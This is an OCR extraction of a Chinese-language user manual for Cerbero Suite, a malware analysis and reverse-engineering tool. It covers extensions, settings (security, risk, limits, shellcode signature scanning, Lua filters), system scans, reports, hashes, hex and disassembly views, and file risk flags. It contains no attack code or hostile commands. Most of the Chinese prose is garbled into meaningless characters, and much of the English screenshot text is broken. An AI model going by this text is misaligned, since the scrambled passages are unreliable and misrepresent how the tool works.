ridAnalysis Intelligence nstalle
HybridAnalysis Intellig Installed
orma nstalle
ISO F t Installed
ceDark Theme nstalle
IceDark Thi Installed
avaScript Beautifier nstalle
JavaScript Beautifi Installed
edialnfo nstalle
Medialnf Installed
icrosoft Authenticode nstalle
Mi ft Authenticodt Installed
@ Native Ghidra UI 1 Instal
neNote Forma nstalle
OneNote F t Installed
orma nstalle
PCAP Fi t Installed
ist Formaf nstalle
PList F t Installed
orma nstalle
PYC Fi t Installed
owerShell Beautifier nstalle
P Shell Beautifi Installed
xe Extractor nstalle
Py2Exe Extracts Installed
nstaller Extractor nstalle
Pylnstaller Extract Installed
| Python Snippets Installed
|® RAR Format Installed
orma nstalle
RPM Fi t Installed
egHive Forma nstalle
RegHive Format Installed
ample Downloader nstalle
Sample Download Installed
Installed

Name: Native Ghidra UT
1.2.0
Author: Cerbero Labs

Size: 299.4 KBs
Date: Mon Feb 5 2024

https://cerbero k i

Description: Native U1 for Ghidra. To instal the plugin in Ghidra go to Settings
~> Ghidra in Cerbero Sutte and folow the instructions

Categories: Reversing

fEAX AT EEE AT AR R ERY B

34 T E

“Extensions’ 2843 75 1F

5 B

o
J

X €

[

Bl B

Start

System Scan

Extensions

Store

Update

Settings

About

© 2024 Cerbero Labs

BipRERENEURTEERAIANSMYT R, FILXEF,
RAPAUMBRERES. HEAHTENEURERRERFEEYT R

C

Cerbero Suite

Packages Actions Hooks Key Providers Logic Providers Scan Providers UI Hooks Carbon Loaders
Name Author / Publisher Version Description Instal

\®| 7z Format Cerbero Labs 122 Support for the 7z and XZ archive formats. Uninstal

—_— Utility to resolve API names from their

|| API Solver Cerbero Labs 113 checksums. This is especially useful when e
analyzing shellcode. Currently provides suppo...

| AR Format Cerbero Labs 1.0.1 Support for the AR archive format.

| ARM32 Decompiler Cerbero Labs 1.0.0 The Sleigh ARM32 decompiler.

| ARM&4 Decompiler Cerbero Labs 1.0.0 The Sleigh ARM6&4 decompiler.

[ " Thi; ki id to Mal B:

|| AbuseCH Intelligence Cerbero Labs 212 is package provides access to Malwarebazaar
intelligence.

|| ActiveMime Format Cerbero Labs 1.0.0 Support Microsoft's ActiveMime format.

—_— Support for the Chrome extension format. The

|® CRXFormat Cerbero Labs 103 package also allows to download Chrome
e)f(enslons by their pu_bllc URL. . @ store
Gives access ta everv issue of Cerhera lournal

Fiter.

Open User Data Directory

Open ‘packages.cfg'

'S Refresh Extensions
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540, hooks ] key providers FH BRI L BIMEAHEZEA,

Cerbero Suite = =

Cerbero Suite %4

ns | Hooks | KeyProvders | LogcProviders | Scan Providers | UIHooks | Carbon Loaders

provided by libmagic
\\\\\

(] YARA: perform a scan with user-specified YARA rules (legacy)

Open User Data Diectory. Open "hooks.cfg' S Refresh Extensions

Hooks EEBE Y BREDIEERIGREMY BATHEE, BEZENPRIENRE. 5—F
M, keyproviders @ ZE AT E, RIHATEHFENERL, BHEAZTEFmAN
B T E R iR,

SMERNYT REBEE S n” BEBE XM, #@1Z1%EE Open user configuration file”, BJ
PFTH S Sa1RE8Y BAEXAISEERE XM

341 MNEERES

SEMEERECN, SLIR—THRIAHEE, ETEXENER, BER M
rE, REENRHEAFEINENIE.

" Install Package - Cerb.. — O

Name: YARA Rules
" Version:  1.0.0

Author:  Cerbero Labs

Signature: Verified

Description:

The ultimate tookit for downloading, scanning with,
creating, editing, and testing YARA rules.

>> Are you sure you want to install the package?

Cancel Inspect package

EXNEER, ERTLOERGEREKE. BUBRIE, ERSLZAIER Cerbero Suite 1E
BAR,.

nfR __I- Lj\ \ -I'R E //J\\ II_'\ E E E’J 1.|-.E:F-l’ L/( @Eﬁ -I«IEO
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3.5 UPDATE

TEMEX, BRAUEETAEASRERENEMLERNEH. XBHEEETAR
EUER BB EEH,

Cerbero Suite - 0O

Cerbero Suite %

& st @) Check updates Application is up-to-date.
~

& System Scan [] Automatically check for updates
FExtensons

Eﬂ Store Update 1 package

@ Updat

3.6 SETTINGS

Settings (IRE) NEEXIRMH T 2EMITH], R FRIBEENRIFMFEREE Cerbero Suite
E A%,

3.6.1 GENERAL

General (BF) K®REAWTEBAEZM Ul RF, SENEFE, UNKAAFPHKIEE R
|EE§T§§?E?ETHE’JLL§0

Cerbero Suite -0

Cerbero Suite %4

General
A st Security Ask to save changes even when the report hasn't been saved
o R_'Sk_ Ensure the visbilty of the output console when an action or a script prints something
— System Scan Limits
Data Group sub-files according to their type
[‘1 Extensions Shellcode
2| Filters Set here the path of the application data directory (leave blank for the default):
= Certificates
Store C:\Users\h\AppData\Roaming\Cerbero\ Browse Open
2 Python Aep g P
&) Undat Theme Set here the path of the temporary directory (leave blank for the default):
System
< Portable C:\Users\h\AppData\Local\Temp Browse Open
}\ Settings . . .
G HybridAnalysis Intelligence
Sample Downloader Choose Fixed Font | Choose Disassem bly Font
@ Aoout PYC Decompiler

EE L\bAﬁFﬁ%'-}HjJ TEI\E'?'_ME'J%JL TRBUEHBER T
1§J§1D, @EJ L,H:EE— 7575 RV IRIREF
ARAE "“‘/x\E 2D ‘%“:FWE Cerbero Suite BY45>
M, .ﬁﬁﬂﬁ T*z':F'__fﬁbz:

/\

7N
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3.62 SECURITY
Security (%) REMEXAFEREREN B2 TEINAATEFAZEHE R,

Cerbero Suite - 0O

Cerbero Suite %

General
'j_“ Start Security Always allow media content without asking for confirmation.

Risk [ Please note that media elements are rendered through third-party code which could be the target of explotts.
= sk Idealy enable this option only when running in a virtual environment.
 System Scan Limits

3.6.3 RISK
Risk (KF2) EBIMREX AT EREEREIEF AT ITERRERNN TG %o

Cerbero Suite = g -

Cerbero Suite %4

General
7~ -
i) st Security Disable intrinsic risk factors
Risk This means that, for instance, it is ntrinsic for an appication to contain code and
~ when this option is activated, this won't contribute to the risk factor anymore
" System Scan Limits
Data Note: activate this option only if you know what this means!
Ml Extensons Shellcode
b Filters [ Set risk to zero if the file contains a trusted digital certificate

3.64 LIMITS

Limits (FRH) RENEXEERBIKESMNARFIEHE, BERARFER.
BNRNRARER. BIHNRNEAFEFRE. RAXGHKRNF.

Cerbero Suite = = -

Cerbero Suite %

General
ﬁj Start Security Maximum virtual memory usage in MBs (40-2000): 100
P~ Risk Maximum nesting level for scanning and fitering operations (0-1000): |10
s System Scan Limits
- Dot Maxiumum fie sz in GBs (0 for infinte) 0
ata
™ s Shellcode (Fies which exceed this Imit vil be ignored by batch scans.)
Filters Decompression bomb threshold in GBs (0 for infinite) 100
E« Store Certificates (Extraction operations which exceed this cumulative imi wil be considered as malious.)
Theme
Syt Maximum number of chid objects 100000
GO stem
&) Undate Y
Portable Maximum fle system size for automatic scanning in MBs (0 for nfinte): 200
X s HybridAnalysis Intelligence (Files embedded in fle systems that exceed this size won't be scanned automaticaly.)
é etngs Sample Downloader
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3.6.5 DATA

Data (#E) RERXAWEIEEXHRRITRIIMNISIEE, B ZERKANEE
Yo

Cerbero Suite = g

Cerbero Suite %4

General
ﬁ: Start Security Report foreign data as an issue when its quota exceeds either
Risk 3 3 %or 10 KBs ~
© system scan Limits
Data
Al| Extensions Shellcode

3.6.6 SHELLCODE

Shellcode IR & A IFAF BE X Shellcode iRV ECE

H

Cerbero Suite - O

Cerbero Suite %

General
I )
fi sert Security W s T e e T e e s e (B s
Risk
) .
"~ System Scan Limits Enable the search of shelode signatures
Data
Ml Extensions Shellcode [[] Report shelcode signature matches as issues not warnings
Filters
— Certificates (] Enable the search of shelcode signatures for exectable fies
‘é‘ Store:
Px‘ho" Maximum size of fies to scan for shelcodes in MBs (0 for infinite): | 100
&) Theme
b lindate

3.6.7 FILTERS

Filters (Z7E28) KB A IFEIEE Lua T IEESMRIFo Lua ILIEZ I LIBRANETIEH, X
BEREMH RN R ATESEAFNBENBER THRITENTEIERS. RE Luna®EAE
RERBINZ 2D FEFIETIT, BB LLUERTEE A XTI ERS,

Cerbero Suite - O

H

General
fj: Start Security Alow Lua script fiters
Rick Lua is run securely in a sandbox and features al kinds of securty restrictions
= sk Scripts are imited by memory allocation, are alowed to cal only a very Imited set of secure methods
C system scan Limits and can be interrupted at any tme by the user. However, one might want to diable them anyway.
Data
ﬂ Extensions Shellcode Maximum memory Lua is alowed to allocate in MBs (1-100): 2
Filters
Eﬂ Store Certificates
Python
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3.6.8 CERTIFICATES

Certificates (GEP) B RIFECE Cerbero Suite B FEIGIEAVIEH, BRI LURINMB W
HERLRIER B EA LRI,

Cerbero Suite = =
N General Packages
@ S Security %4 Cerbero Labs Add
= Risk
—y System Scan Limits Add from Cipboard
Data
\i" Extensions Shellcode REEE
Filters M
E o) Certificates
Python Browse
@ v Theme
System

3.69 THEME

£ Theme (F&) 1B, EBRILUZERE Cerbero Suite FIARE Ul £, BHENERE T M
FiRW, #AELRT.

S Z

~| [Open user theme drectory

® oo
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3.6.10 SYSTEM

7E System (R£) IKEFR, BAJAMN, G LEERFTEENIZE, B1ER Cerbero Suite
5 Windows B shell = FXHE KB,

Cerbero Suite -0

Cerbero Suite %4

-~ General Widows Explrer context menu
fa} st Security
Risk Cerbero Analyzer
C\ System Scan Limits Cerbero Hex Editor
Data Cerbero File Info
[l Extensions Shellcode Cerbero Python Edior
Filters %
E Store Certificates ¥ Update
Python
&) Theme
-, Update
L

3.6.11 PORTABLE

Portable ({F#F) IREAFECEEESFMBERFPIRENBEZE®R Cerbero Suite {EH#ERR
K,

Cerbero Suite - O

Cerbero Suite %4

Ge“éfal Create a portable Cerbero Suite distribution.
Start Security

Risk Make portable
System Scan Limits

Making the application portable means that it can be moved across computers and all the settings are saved to a
Data relative folder. Cerbero Suite automatically becomes portable if it detects a 'user' folder in the binary directory and wil
save all settings there

Extensions Shellcode

Filters The button above creates a portable distibution and copies your scripts to the 'user’ folder
Store Certificates

Python
Update Theme

System

X © B B O

Portable

Settings HybridAnalysis Intelligence

© 2024 Cerbero Labs 38



3.6.12 HZE

HBOBERENEIRSEEEMIUMNSENHA, AFEBENXTEINEEDL,

Cerbero Suite - 0O

S =<3

General

) - Service Status
Start Security
Risk HybridAnalysis Available Set HybridAnalysis API key « AVAILABLE
2 System Scan Limits InQuestlLabs Available
Data MalShare Available Set InQuestLabs API key + AVAILABLE
Shellcode MalwareBazaar Available (anonymous)
\i EEETD Filters ¢ Y ) Set MalShare API key + AVAILABLE
8 Store :e::]'ﬁ“‘es [] Try anonymous services first
ython
Theme
Updat
L7 System
< Portable
% Settng HybridAnalysis Intelligence
Sample Downloader
@ Aoout PYC Decompiler
YARA Rules
Ghidra
< >
Highighted services are enabled. Some services require
credentials.

3.7 BNHHE

AILUBE ZfM A AR RN T Start” E0HF, BEEXGHERAIEEO, &8
T ITHIN, WEMEBRY shell L FXEREBEFDN, 5 ZXHHE AR, BatEX4E
Y, RASBEREFONIEE, INIEERME T Bt fx A XA HEa0ED, HSCBEH
SRIEESNXHNT B, FRRERZIRMNEE BT RESZNNERK, INRE
EFERBOI R A EFEE, BN UTEEGTE analysis workspace F#HITIEE,

Cerbero Suite

Executing YARA Rules...

Skip Embedded Files
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3.8 SYSTEM SCAN

7£ System Scan (RZeiFH) IHEEX, AR ALUBMTERAZRMNBEENX M, Bin
AU RHEBRNX M. T M, AR URFRREXHRIMT B2,

Cerbero Suite -0

Cerbero Suite %4

Ful scan ®) Custom Start
l SoftwareDistribution A @ C:\Windows\System32

i speech [ CAWindows\SysWOWs4
i symbols
A Extensions - System
I System32
h@“ Store I SystemResources
L4

[ syswowed4 |
) Update i TAPI

W Tasks
W sens - Temp -
. i ToastData

i tracing
@ oo l twain_32 L=

i vpnplugins

- Vss

- Web

s WinStore

s WinSxs
bfsvc.exe
bootstat.dat
DtcInstall.log

File types
® Al
) Known formats () Known extensions

() Specific formats (O Spedific extensions

AimdE A LIRIEEZRINEE.
Cerbero Suite - O

Cerbero Suite %

~ 5\SysWOW64\DDORes.dl {embed
(5! Start

AfEdiEsmE, AR ERERESR, EREZMMNENXHITEEX XL
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Cerbero Suite = g -

Cerbero Suite

Roots a B Output

ﬁj Start # File Risk Format ~
. 19 C:\Windows\SysWOW6H\adsidpc.dl 0% PE
L System Scan 20 C:\Windows\SysWOW64\adsmsext.dl 0% PE
21 C:\Windows\SysWOW64\adsnt.dl 0% PE
|A| Extensions 22 C:\Windows\SysWOW64\adtschema.dl 0% PE
— 23 C:\Windows\SysWOW6+\advapi32.di 0% PE
|| store 24 C:\Windows\SysWOW64\advapi32res.dl 0% PE
. 25 C:\Windows\SysWOW64\advpack.dl 0% PE
@y Update 26 C:\Windows\SysWOW64\aeevts.di 0% PE
27 C:\Windows\SysWOW64\amcompat.th 0% PE
X Settings 28 C:\Windows\SysWOW64\amstream. dl 0% PE
29 C:\Windows\SysWOW64\apds.dl 15% PE
&) About 30 C:\Windows\SysWOW64\api-ms-win-appmodeidentity-11-1-0.dI 0% PE
31 C:\Windows\SysWOW64\apims-win-appmodetruntime-nternakiL-1-0.dl 0% PE
32 C:\Windows\SysWOW64\api-ms-win-appmodetruntime-I1-1-0.dl 0% PE
33 C:\Windows\SysWOWG4\apims-win-appmodetruntime-I1-1-1.dl 0% PE
34 C:\Windows\SysWOW64\api-ms-win-appmodet state-i1-1-0.dl 0% PE
35 C:\Windows\SysWOW64\api-ms-win-appmodet state-i1-1-1.dl 0% PE
36 C:\Windows\SysWOW64\api-ms-win-base-bootconfig-1-1-0.d1 0% PE
37 C:\Windows\SysWOW64\api-ms-win-base-uti1-1-0.dl 0% PE
38 C:\Windows\SysWOW64\api-ms-win-core-apiquery-11-1-0.dI 0% PE
39 C:\Windows\SysWOW64\apims-win ppcompat-i1-1-0.dl 0% PE

40 C:\Windows\SysWOW64\api-ms-win ppcompat-ii-1-1.dl 0% PE o

< >

« New scan ! save Report - Other. -

MERPEEXHRETR 2 TIEX,

3.9 REMIE

3.9.1 REFEREG

BREAWER, 1% Save Report” LUIFTFHRZEIIENE,

—_ 23 C:\Windows\SysWOW6+\advapi2.di 0% PE
|® Store 24 _ C:\Windows\SysWOW64\advapi32res.dl 0% PE
= E Save report... - Cerbero Suite - 0 - 0% PE
) Update 2% 0% PE
v Property Value
2 7 0% PE
}Q Settings 28 0% PE
[7] save unpacked database
29 15% PE
[[J compress
& About 20 . 0% PE
Password (optional)
i [ Include scanned fies i report 0% PE
o
2 Save to... C\temp\report.cpro 0% PE
B 0% PE
34 0% PE
5 conce o re
36 L D DI D S 0% PE
37 C:\Windows\SysWOW64\api-ms-win-base-uti1-1-0.dl 0% PE
38 C:\Windows\SysWOWG4\api-ms-win-core-apiquery-11-1-0.dl 0% PE
39 C:\Windows\SysWOWE4\api-ms-win ppcompat-i1-1-0.dl 0% PE
40 C:\Windows\SysWOW64\api-ms-win ppcompat-li-1-1.di 0% PE ©
< >
« New scan ! save Report - Other. -

TEUEIHIEER, ER]LIERE LA TR

. BEROMIRSREARITENREE, XSEM—TEA cprodb XIF BEEY
B, 888MXff. MRFTEFLT, REFREREFAN—DEE cpro XHT ER
BYERNIIE o
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2. BEEETB PRI HF, EFIOETRIRDINE X/, BrsEsFEIM BTN
MEEEEE,

3. RENTRRERN, NRIKET, HEPHFAEHETRRRZENE, Xt
SEITARSEINHEETIS,

4. BEERABNXAEEEIME R, EMEFHE AL SEXEXHNE=
NIEEER, BERENBEIMAENIEES. WERNZERRX/IMEMESY
FHEESXHFRIR N,

5. MERNXHR.

39.2 REFEWH

RIFIREE, “Save Report” IHE L /9 Save Project”s

‘40 €:\Windows\SysWOW64\api-ms-win ppcompat-ii-1-1.dl 0% PE v‘

IHRRRTRIAMFEINER R EAESENERREFIBIEENIE X . XEMUT”
SEFEN- W RE BEZENXS, HP” 5ER8- BTFPRRENE SRR
BN, > R®RE EFMNAEXHBIFES,

3.9.3 EMRFRS

ERIRES5MBXEG, AJLUBIE Save Project” FHAMN FHIRBEFAARENSHER
REFEHR S,

37 CG\Windows\SysWOW64\api

k! save Report
k&' Add File to Report

\ New scan i Save Project - Other...

3.9.4 FIRSEXBEIMEWLA

EERI LI IR E S MBETMEXHXEK, NRNAREFEIMNEL BB KRIERRE, LI
BELEER. AXEBERT, EaILMIEE B RITARRENRS, ARET5%ERE Save
Project’ ¥R AMN FAIRERRNAD, FHEZZIMENTEXH, KMRERERFH
THRESEIRBIEH,

4 Save Project
k' Add File to Report
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39.5 ITALIEZSIRS

7E Cerbero Suite PFTHA T B HIRE ST AEMXHRLIIZER . ERIUM Start” 522
E\jJ, Eﬁ?’iﬁfiﬁ?”f‘i@m, E\qﬁ%?ﬁy ﬁﬁﬁ/‘?éﬁ shell J:—Fj‘z#ﬁéij:]-;l:o
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SR

Cerbero Suite It T Z2MITIEX, ERoMITEXERREXNSH, —LEIHEEFIT

EX A IE R M T EX S
2o FXE, EESNITERBAKRECAEMITEXBER,

LT Y,

7N

—_
= °

[ExceptionTest.exe] - Cerbero Suite

File Navigation Actions Views Tools Help

14 File Header
4 4 Optional Header
1 Data Directories
4 Section Headers
s Import Directory

Enter Python cod focus

.text:0x140001033
.text:0x140001033
.text:0x140001033
.text:0x140001033
.text:0x140001033

Ctrl+alt+.]

ret

sub_140001000 proc end

Address: 0x14000101F - Done

K- HE - WE FRAPK e aw ik BN EE #| & 0% [siase - DOCDE 811
L Roots. & x | Output
# Risk Format carbon: analysis finished in 0.0 seconds
1 0% PE
“4 Herarchy & X C Analysis [Native Code: x64]
Fiter text:0x140001000
o _text:0x140001000 sub_140001000 proc start
_text:0x140001000 0x14000122E
4 [ ExceptionTest.exe .text:0x140001000 x140004000
4 4 Documents _text:0x140001000 ; unwind
“ - " _text:0x140001000 sub  rsp, 0x28
Configuration File 1 [lang:1033] text:0x140001004
< > || . text:0x140001004 loc_14000100 REF
= _text:0x140001004
LN 85| text:0x140001004 E
Intrinsic threats _text:0x140001009 cdq
& Native Code: x64 ~text:0x14000100 xor  ecx, ecx
Privacy ~text:0x14000100C idiv  ecx
text:0x14000100E mov  edx, eax
L. Debug Data text:0x140001010 lea rex, [0x1400021B8] ar
Information text:0x140001017 call quord ptr [0x140002118] -> printf
© Metadata: Medialnfo text:0x14000101D 3 loc_14000102D
T _text:0x14000101D s at 1400010
9 _text:0x14000101F
4 Incorrect Checksum Value _text:0x14000101F loc_14000101F: 14
A Metadata _text:0x14000101F ; e 1 owny 1
_text:0x14000101F lea  rex, [0x1400021C0]
12 Format 8] | . text:0x140001026 call quord ptr [0x140002118] -
Fier _text:0x14000102C nop
_text:0x14000102D
B8 Dos Header 2 || .text:0x14000102D loc_14000102D: ; CODE XREF: 0x14000101D
4 Rich Signature .text:0x14000102D eax, eax
4 1§ Nt Headers _text:0x14000102F add  rsp, 0x28
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4.1 I

D TEKANRRRITATOEE REANERE, ATFeEFETRE—IBRE

EEE N

File Navigation Actions | Views | Tools Help

K- EE £ Views Ctrl+Tab [~
L5 Roots Close View Ctrl+F4
Ed File Single View Ctrl+Alt+S
1 C:\...\ExceptionTest., Fullscreen Ctrl+Alt+F
W Save Workspace Layout
“4 Hierarchy % Reset Workspace Layout
Filter... Reset Toolbars Alt+Shift+T
140001
Name 4 New Cerbero Instance Ctrl+Alt+N
4 @ ExceptionTest.exe T R AR
+ +.
4 4@ Documents 4 Open New Analysis View i
» Configuratiof * Open New Text View sub
< Ux Open New Hex View 140001
- Open New Python Editor Ctrl+Alt+P
- *
L Summeary TTERTTURTEUUUTIUUR mov
Intrinsic threats .text:0x140001009 cdq
w Native Code: x64 .text:0x14000100A xor
tavt-Nwldnnninne didir

FISMY R Actions’ 3 B2, EHHFIHT action ¥ B, XLEMBAEERETENIE. ¥

—XfEE, KHEIFX, HEFEMEREZEHRE,

AT IO X AT TR IR Eo

4.2 TE¥=

S5XRBEM, TEEURTHARNIEARIIETE.

EE # & 0% [SHA256

RETIBEETRBRMELERSED, BENESUTREDNE.

4.2.1 HASHES

-

~| 7838B251CDOCDE106297D48CAE6404D1A3D615C81136AD249F7553E0244 v

B EAN. HERITEEF

BNEVRBETBRXTXHN— T EREEREMEREE. A TAETURM T

PRE & RN & R IRE R

MD5 ~ E

- SHA-1 i A i i
carbon:
SHA-384
SHA-512
SHA3-224
SHA3-256
SHA3-384
SHA3-512

SHA-256 ¥ | |7838B251CDOCDE106297D48CAE6404D1A3D615C81136AD249F7553E0244

analysis finished in 0.0 seconds

-

(=B 4

g X

RIPEMD-128 ¥
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TR UERS U EFIRHEEMEH hasho
s, HEAREERRELN, IE|E—ITZTIEZHNRBREERN, BT RELE.

SHA-256 ~ | 7838B251CDOCDE106297D48CAE6404D1A3D615C81136AD249F7553E0244 hd

E— ‘ =1 Output ‘Humanized: paris-potato-apart-football [ *

B2 515 T12IZHY hash, BEAEGIRHZAN TFRERE,

422 WSLITHRTES

AINMBRT, an<iTRRRERUT TEXAIREER.

T EETERTRAEGREGS, PMIEXFPHEIAGSITHEREESE Python fi#
B8, A, HEMIT{EX ({540 Silicon Shellcode Emulator) R gEIRHE M EEZWFS
(AR S) NEMGSITRRESS.

HEZ N ITIRESRATAN, BaIUEEl]ZEt,

4.2.3 MPEI=

etz R—MIHN T AETE, BEMMRRSTRNREXNAILER . EERAEME
MBDEERiETNZER, MREEIS, BEIRP REZEGITEIXERAKF,

0%

424 Z|ETHE

TEEURIECSHNETEHEN, HFSI2FENNRENE, EMERVRNUE, 1§
1" Reset Toolbars” S EEIR1E,

Reset Toolbars  Alt+Shift+T
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4.3

LTS

RERBMITA-RILEREE, SHEABENRRE&FET
BEABATREENENFERE,

20
62
64
62
D1
EC
c7
ES
D2
00
00
o)
oc
00
00
00
00
00
00
00
00
00
00
00

4.4 B5EX

TEXABYFRAE L EER R AR

70
65
65
B3
F0
FO
F0
F0
FO
00
00
3C
00
00
00
00
00
00
00
00
00
00
00
00

12

207

2E
Bl
B2
Rl
B3
B3
B0
00
00
00
00
00
00
00
03
00
00
00
El
00
38
00

EMLUEN IR
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TE ETFXEREBTTM,

Fr 67 72 61 &n 20 fF_6F_AF | is.program.
Copy » l.be.run.in
{ : ode....S5..
»
] | Wb..6...6.
] Position * lg...6...9.
] Find P |lg...6...4Q.
3 I T
e " ld...6...d.
¢ View ¥ |d...6..Ric
{ Print [
1 PE.
C Screenshot Polena L.
( Ranges LA P
g LE:I}I'OLIt F e s s s s aana
( Duplicate View Ctrl+Shift+D  |...-.... p.
E To Text Browser View Ctrl+Shift+T |" """~ U
E / Filter... o1/ U CEREEEEE i
¢ Add Child Object Ctrl+E S
(" Add Root Object e
Pl..B.. ...
00 00 0o 00 00 00 00 00 00 00 00 | cevinnnnnnn

TEEXH, FEETLLE

PE

Format

“\ Analysis [Fie Header]
Name

bolTable 00000104
ols 00000108

offset

m
£

000000FC
000000FE

8664
0006
00000100 sceos608
00000000
00000000

ader 0000010C 0050

00000108 0022

carbon: analysis finished in 0.0 seconds

Y

Z

x4

ERORTNEE R vk Z Y VNE R EE 2
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4.4.1 ZFEERX

ERILIBIRT T T X EARFHEEX, BEmXEFEEREN, BEAEEE
OARE T 5 BN R &A% L.

Analysis [Optional Header]

Name

Magic

HESHI—MERFR, AIFEREREXIERIFIFIE,

Analysis [Optional Header]
Use this bar to drag

Name

Magic

442 REIEXHR

BREFEFEXIHET, &7 L% Save Workspace Layout” 2B 12{E, Cerbero Suite 2
e TEXEERSFEINFRHR R

W Save Workspace Layout

443 BEETERXHR

ERTEXHRMERRIBIRE, 1517%#F Reset Workspace Layout’s

% Reset Workspace Layout

4.5 £RER
”Full Screen” R RRER LI EY BE LB IMNREE.

__ Fullscreen Ctrl+Alt+F

BRI Cul+Alt+F REEFE AR B R E ZI RIS RS
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4.6 BMEHE
"Single View” SERIZ{ERFHAIMEYT B2 SIBED TEXXE,

Single View Ctrl+Alt+S

BRI Cul+Alt+S REEE A BE R E B RIS RS

4.7 REIFEHO

MOt ITEX, IBRALUREIEE O, NMREMEEFOITAT O ITEX, IFXHAD
EORIALREIEE O,

AM, ERLEBERT, FINEBEMGBSITITAXXEFHM AL shell L TFXHEEBNXMH
Hig, TEAOATERCE, EXEBRT, oI LEXSEIZITHF, EBmEEAON
FIE, Alt, EXEBERTXAPMIAEXRA=RBIEEO, BRLOFEO, BEERF
F8’Go To Report’ $21E, ZIR{ER]LUEE File’ REM T E=IHR, AERER, Titt
A, ZIRERA R B FEMEIEEF .

#J Go to Report
L Add File to Report

4.8 ROOTS 1E

Roots MEIRREFENIEN R, KT 24HE REEONERA

= Roots

# File Risk Format
26 C:AWindows\SysWOW6e4\aeevts.dl 0% PE
27  C:\Windows\SysWOWG64\amcompat.tlb 0% PE
28 C:AWindows\SysWOwe4\amstream.dll 0% PE

29 C:\Windows\SysWoOwe4\apds.dl 15% PE
30 C:A\Windows\SysWOW64\api-ms-win-appmodekidentity-11-1-0.dl 0% PE

ZABEATEES T TR E TR TENR (RNR), THERIEFO.
EERAERRNREERNRREN. HENRIAENAS,
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4.8.1 MEERIMBITR

B ETSCGERE, R LUEFEMBERNRN R

[y :Add File to Report

ANRNRE, NEITARETRERNT SREZNR.

4.8.2 TBIRRMR

S5AMMREM, ErIUERMERN LT SEREBBRTR,

b 4 Remove

L5 IREATEE. —BRFR, TEAMEENREDITEE.

BREMIBERERMRNRNEMME FNR. @It

, BEEILAARIFH R

K

[debian-11.5.0-amd64-netinst.iso] - Cerbero Suite - o -
File Navigation Actions Views Tools Help
K EE I We Od P& &« w N DB # & (0% swa2s - Clickhere to calculate the hash -
% Herarchy & x
Fiter
Name Risk Group Format  Size Relation D
4 |£1 debian-11.5.0-amd64-netinst.iso 0% Archive 15O 382MBs  Root
i Archives
> 1 Documents
4 4 Executables
4 @ //setup.exe 40% Executable PE 356KBs  Child
4 4 Documents
* Configuration File 1 [lang:1033] 0% Document XML 1.049KBs ~ Child
4 4 Images
& lcon 1 [lang:1033] 0% Image PNG 3631KBs  Child
& Icon 2 [lang:1033] 0% Image DIBICO  9.414KBs  Child
& Icon 3 [lang:1033] 0% image DIBICO  4.164KBs  Child
& Icon 4 [lang:1033] 0% Image DIBICO  2383KBs  Child
& Icon 5 [lang:1033] 0% Image DIBICO  1.102KBs  Child
4 Il /EFI/boot/grubx6d.efi 0% Executable PE 1,607 MBs ~ Child
4 W Certificates
A7 Certificate 0% Certificate  PKCS7 1.367KBs  Child
4 [l /EFI/boot/bootx64.fi 40% Executable PE 912.3KBs  Child
4 4 Certificates
A7 Certificate 0% Certificate  PKCS7 8359KkBs  Child
B /boot/grub/x86_64-efi/zstd.mod 0% Executable ELF 77.46 KBs  Child
B /boot/grub/x86_64-efi/zfscrypt.mod 0% Executable ELF 8281KBs  Child
B /boot/gruby/x86_64-efi/xzio.mod 0% Executable ELF 19.28KBs  Child
B /boot/grub/x86_64-efi/xnu_uuid_test.mod 0% Executable ELF 3.141K8s  Child
B /boot/grub/x86_64-efi/xnu_uvid.mod 0% Executable ELF 3.18KBs  Child
B /boot/gruby/x86_64-efi/xnu.mod 0% Executable ELF 412KBs  Child
B /boot/gruby/x86_64-efi/xfs.mod 0% Executable ELF 1039KBs  Child
B /boot/grub/x86_64-efi/wrmsr.mod 0% Executable ELF 2344KBs  Child
B /boot/grub/x86_64-efi/videotest_checksum.mod 0% Executable ELF 368KBs  Child
B /boot/grub/x86_64-efi/videotest mod 0% Executable ELF 5492K8s  Child
B /boot/grub/x86_64-efi/videcinfo.mod 0% Executable ELF 5.188KkBs  Child
64-efijvideo fb.mod 0% Executable ELF 27.56 KBs _ Child 2
us with Ctr +
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BREMMABE RS — T XALIEE, FEREBREEIRMENFHR,

“ Hierarchy
efi

Name

4 | | debian-11.5.0-amd64-netinst.iso
>l Archives
4 g Executables
B /EFI/boot/grubxe4.efi
B /EFl/boot/bootxe4.efi

JEE . TF Cerbero Suite 1, EeJLUBIIZ Crl+T RIEREIE XA T M EHiD Rz
ZIEYIRE S,

4.9.1 BHRIREFINEE

MR REFENMRL, AJLOET L TFIEREHRY Save to Disk” R EE ERFEIHE,

Save to Disk Ctrl+D

4.9.2 BFHRFEEFIEE

ERMEBAMN RO FHNRERFEEE, B ETXRERIERE Save Children to Disk’ #
Fo

Save Children to Disk

AGRIRTEER—TEIRXMAE, FrEFHRFERFRNZXFFEF,

IEEHER T FHIZRMERS T HNERIER, Fr G TEEERIINI TALEFX
E N

493 FRIMFMHKR

EDWMER, 4550181 hex view 3§ file system view FITARNFITRBVIEIE
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4.9.4 HEFHR

18I RS EIEF Unload’ 12{ER LUHIEF3WR, BBIFRIVERLE, REXHIE
FEREEK, Cerbero Suite MM EIR R FEHEEIZRE PIEEL RAM FEHREH,

Unload Ctrl+U

4.9.5 BBRFHR

BEBRRFHR, BN ETXERERER Remove” #1F,

Remove Del

L5 IHRERATHE. —BRIER, TEMEFNREDITERE.

49.6 M&RIRId

AREBERT, XHNITERREFFAREREF R,

4 | | image.zip 0% (e)
4 4 'mages
== image.png ? (e)

XEFHARARIEFBENRE, FETR2EFEENRL, EAUEXEFENS
o

0% (e) Archive ZIP 4.167 KBs Root

Name: C:\Users\\Documents\image.zip
7 Format: ZIP
Size: 4.167 KBs

The risk percentage is 0%, but could be more, since some parts of the file or sub-files produced the following problems:
e - failed decryption

X AR R X EF R A RN F SRR AT I R FE R A E R

. c- FRERM
. e- REBRIK
o s - XHERNBIRE (FJEE)
. n- WRBFEBEXLR (AIRE)
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« m-—EFWRAKGE (AEEE)

« r- FRBFFAEFERFERSER, BABITRARE
* h- RBEFRE shellcode B RFEHRES, HABEIS
o p - XHEBIUETIRBEI N ERRE!

410 HEMNE
REMEESRYFINRNEEER WRA),

[J Summary g X

Intrinsic threats
&% NET Byte Code
&2 Native Code: x86
Threats
&) Signature Match: YARA
Information
W Version Information
@ Metadata: Medialnfo
Warnings
L. Untrusted Digital Certificate

RAWMERK LT R IAR:

* Bifb (Threats) ! RREAIMPRTERF, REANRUMAIEZERM-

